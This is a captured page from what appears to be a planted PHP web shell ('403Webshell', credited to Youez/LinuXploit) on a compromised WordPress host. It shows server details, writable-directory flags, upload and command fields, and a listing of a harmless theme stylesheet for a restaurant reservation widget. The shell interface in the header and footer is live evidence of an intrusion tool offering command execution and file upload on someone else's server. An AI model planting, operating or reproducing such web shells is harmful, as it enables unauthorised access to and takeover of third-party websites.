403Webshell
Server IP : 208.109.34.209  /  Your IP : 216.73.217.134
Web Server : Apache
System : Linux 209.34.109.208.host.secureserver.net 5.14.0-687.29.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jul 23 16:18:48 EDT 2026 x86_64
User : oceanproject ( 1012)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/oceanproject/public_html/wp-content/themes/reda/assets/scss/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/oceanproject/public_html/wp-content/themes/reda/assets/scss//reservation.scss
.reservation { 
	@include breakpoint(medium down) { padding-top: 90px; }
	@include breakpoint(large) {
		.reservation-container { display: table; width: 100%; }
		.reservation-form { width: 66.666%; display: table-cell; vertical-align: middle; }
		.reservation-content { width: 33.3332%; display: table-cell; vertical-align: middle; }
	}
	.footer { margin-top: 90px; }
}

.reservation-form  {
	.btn-reservation { /* transition: color .4s;  */
		@include breakpoint(medium down) { margin-bottom: 60px; }
		&.button-success { background: #2ec556 !important; border: #2ec556; 
			.btn-text { color: #fff !important; }
		}
	}
	fieldset {
		&:after { 
			@include breakpoint(medium down) { width: 100%; }
		}
	}
}
.reservation-content {
	@include breakpoint(large) { 
		.reservation-content-wrapper { padding-right: 60px; }
	}
}
.rtb-textarea.message { width: 100%; top: auto !important; left: auto !important; position: relative !important;
	textarea { resize: none; text-align: left; }
}

.rtb-error { display: none !important; }

.picker--focused .picker__day--selected, .picker__day--selected, .picker__day--selected:hover { background: #3c3c3c !important; }
.picker--focused .picker__day--highlighted, .picker__day--highlighted:hover, .picker__day--infocus:hover, .picker__day--outfocus:hover { color: #fff !important; background: #616161 !important;}
.picker__day { transition: 0.3s background-color, 0.3s color; }

/**
 *
 * Widget reservation
 *
 */
.nav-widget-reservation { position: relative; cursor: pointer; 
	.res-i { position: relative; transition: opacity .3s;
		&.hide-header { opacity: 0; }
	}
}
.reda-widget-reservation { background: $accent-color; position: fixed; right: 0; height: 100%; z-index: 7; transform: translateY(-100%); top: 0; transition: transform .5s .5s cubic-bezier(0.77,0,0.175,1), opacity .3s .7s, width .3s .2s cubic-bezier(0.77,0,0.175,1); transform-origin: top right; opacity: 0; overflow: auto;
	.res-i { width: 100%; text-align: center; opacity: 0; transition: opacity .3s 0s; cursor: pointer; 
		span { width: 20px; height: 20px; position: relative; vertical-align: middle; display: inline-block;
			&:before { content: ""; position: absolute; top: 50%; left: 1px; width: 18px; height: 2px; margin-top: -1px; background: $white; transform: rotate(45deg); }
			&:after { content: ""; position: absolute; top: 1px; left: 50%; width: 2px; height: 18px; margin-left: -1px; background: $white; transform: rotate(45deg); }
		}
	}
	&.has-scroll { 
		.widget-reservation-form { overflow: auto; margin-right: -15px; height: 100%; }
	}
	.widget-reservation-form { opacity: 0; transition: opacity .3s 0s cubic-bezier(0.77,0,0.175,1); }
	@include breakpoint(medium down) { width: 100%; }
	&.active-widget { transition: width .3s .6s, transform .5s .1s, opacity .6s 0s; transform: translateY(0); opacity: 1;
		.res-i { opacity: 1; transition: opacity .3s .7s; }
		.widget-reservation-form { transition: opacity .6s .3s cubic-bezier(0.77,0,0.175,1); opacity: 1; }
	}
	.success-message { position: absolute; top: 50%; z-index: 1; left: 60px; padding: 30px; text-align: center; background: transparent; opacity: 0; right: 60px; color: $black; transform: translateY(-50%); visibility: hidden; transition: opacity .6s 0.9s, visibility 0s 0s; color: inherit;
		h5 { margin-bottom: 0; color: inherit; }
	}
	&.message-sent { 
		.widget-reservation-form { opacity: 0; pointer-events: none; }
		.success-message { opacity: 1; visibility: visible; }
	}
	
}
.widget-reservation-form { padding: 60px; transition: opacity 0.6s 0.6s;
	.forms-style { margin: 0 -10px; position: relative; display: flex; overflow: hidden; }
	.reda-fieldset { width: 100%; overflow: hidden;
		@include breakpoint(small only) { 
			> div { margin-bottom: 10px; }
		}
		@include breakpoint(large) { margin-bottom: 10px; display: flex; }
		&:not(.reda-fieldset-checkbox, .reda-fieldset-radio) {
			.input-required { position: relative; 
				label:after { content: "*"; color: inherit; font-size: 18px; display: inline-block; vertical-align: middle; margin-left: 5px; line-height: 1; }
			}
		}
		label { transition: color .3s; }
		input, select, textarea { margin-bottom: 0; font-size: 14px; transition: border .3s; 
			&:focus { box-shadow: none; }
		}
		> div { width: 100%; }
		> * { margin: 0 10px; }
	}
	.booking-part-form, .contact-part-form { flex: 0 0 100%; }
	.booking-part-form { transition: margin .4s cubic-bezier(0.77,0,0.175,1), opacity .4s cubic-bezier(0.77,0,0.175,1); }
	.contact-part-form { transition: opacity .4s cubic-bezier(0.77,0,0.175,1); opacity: 0; }
	.show-next-step { 
		.booking-part-form { margin-left: -100%; opacity: 0; }
		.contact-part-form { opacity: 1; }
	}
	.reda-fieldset-checkbox { position: relative; height: auto; z-index: 1;
		.input-required { position: relative; 
			&:after { content: "*"; color: inherit; font-size: 18px; display: inline-block; vertical-align: middle; margin-left: 5px; transition: color .4s; line-height: 1; }
			label:after { left: 0; margin-left: 0; }
			&.message-error:after { color: #f10a4a; }
		}
		input { position: absolute; top: 3px;/*  left: 10px;  */height: 15px; width: 15px; z-index: 1; margin: 0; }
		label { left: 0; margin: 0; right: auto;
			&:before { content: ""; width: 15px; height: 15px; position: absolute; top: 3px; /* left: 10px;  */cursor: pointer; border: none; z-index: 0; }
			span { margin-left: 30px; }
			&:after { content: ''; width: 15px; height: 15px; position: absolute; top: 3px; left: 10px; border: 4px solid; opacity: 0; transition: opacity .4s, transform .4s, background .4s; z-index: 0;
		    }
			&:hover:after { opacity: .5; }
		}
	  	input[type=checkbox] { visibility: hidden;
		    &:checked + label:after {
		      opacity: 1; transform: scale(.4); 
		    }   
	  	} 
	}
	.btn { margin-right: 10px; margin-bottom: 60px; }
	.form-steps { margin: 30px 0 60px; text-align: center; }
	.next-step { cursor: pointer; position: relative; 
		span:first-of-type() { font-family: $header-font-family; font-size: 32px; margin-right: 4px; width: 15px; display: inline-block; font-weight: bold; }
		span:nth-of-type(2) { margin-left: 2px; font-family: $header-font-family; font-size: 24px; }
		div { position: absolute; display: inline-block; text-transform: uppercase; font-size: 12px; letter-spacing: 1px; top: 50%; }
		.next { left: 50%; margin-left: 35px; }
		.prev { right: 50%; margin-right: 35px; }
	}
	.message-error { 
		> *:not(label) { border: 1px solid #f10a4a !important; }
		label { color: #f10a4a !important; }
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit